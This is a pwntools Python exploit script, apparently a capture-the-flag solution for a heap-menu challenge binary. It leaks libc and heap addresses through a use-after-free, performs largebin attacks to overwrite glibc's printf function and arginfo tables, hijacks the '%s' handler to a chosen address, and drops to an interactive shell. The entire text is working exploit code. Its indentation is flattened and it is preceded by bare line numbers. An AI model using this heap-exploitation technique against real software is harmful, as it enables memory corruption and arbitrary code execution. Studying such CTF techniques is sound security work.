1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
from pwn import *
context(arch='amd64', os='linux', log_level='info')
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
def menu(ch):
s.sendlineafter(b">",str(ch).encode())
def add(idx,sz):
menu(1)
s.sendlineafter(b"Index: ",str(idx).encode())
s.sendlineafter(b"Size: ",str(sz).encode())
def delete(idx):
menu(2)
s.sendlineafter(b"Index: ",str(idx).encode())
def edit(idx,content):
menu(3)
s.sendlineafter(b"Index: ",str(idx).encode())
s.sendafter(b"Content: ",content)
def show(idx,norecv=False):
menu(4)
s.sendlineafter(b"Index: ",str(idx).encode())
if not norecv:
s.recvuntil(b"Content: ")
return s.recvline()[:-1]
if __name__=="__main__":
add(0,0x600)
add(1,0x508)
delete(0)
add(2,0x620)
fd=u64(show(0).ljust(8,b"\x00"))
libc.address=fd-(0x7fa646b86130-0x7fa64698f000)
success(hex(libc.address))
edit(0,b"a"*8)
bk=u64(show(0)[-6:].ljust(8,b"\x00"))
#success(hex(bk))
edit(0,b"A"*0x10)
fd_nextsize=u64(show(0).replace(b"A",b"").ljust(8,b"\x00"))
heap_base=fd_nextsize-0x290
success(hex(heap_base))
edit(0,flat([fd,bk]))
add(0,0x600)
add(3,0x508)
printf_function_table=libc.address+(0x7f4112fbe980-0x7f4112dc6000)
printf_arginfo_table=libc.address+(0x7fcb720b5890-0x7fcb71ebe000)
delete(2)
add(4,0x660)
edit(2,flat([0,0,0,printf_function_table-0x20]))
delete(0)
add(5,0x660) # __printf_function_table now points to chunk #0
edit(0,flat([fd,heap_base+0xdb0,heap_base+0xdb0,heap_base+0xdb0]))
edit(2,flat([heap_base+0x290,fd,heap_base+0x290,heap_base+0x290]))
add(2,0x620)
add(0,0x600)
add(6,0x508)
add(15,0x650)
delete(5)
add(7,0x680)
edit(5,flat([0,0,0,printf_arginfo_table-0x20]))
delete(15)
add(8,0x680) # __printf_arginfo_table now points to chunk #15
edit(15,flat([fd+0x10,heap_base+0x1f60,heap_base+0x1f60,heap_base+0x1f60]))
edit(5,flat([heap_base+0x2ae0,fd+0x10,heap_base+0x2ae0,heap_base+0x2ae0]))
add(5,0x660)
add(15,0x650)
ret=libc.address+0x0000000000023b65+1
push_rax_ret=libc.address+0x000000000003ad75
ogg=[0x4e1d0,0x4e1dc,0x4e1f1,0x4e1f9,0x7c742,0x7c74f,0x7c754,0x7c759,0x10619a,0x1061a2,0x1061a7,0x1061b1]
one_gadget=libc.address+ogg[11]
edit(0,p64(0)*(ord('s')-2)+p64(0x4011D6))
edit(15,p64(0)*(ord('s')-2)+p64(0x4011D6))
pause()
show(0,norecv=True)
s.interactive()
|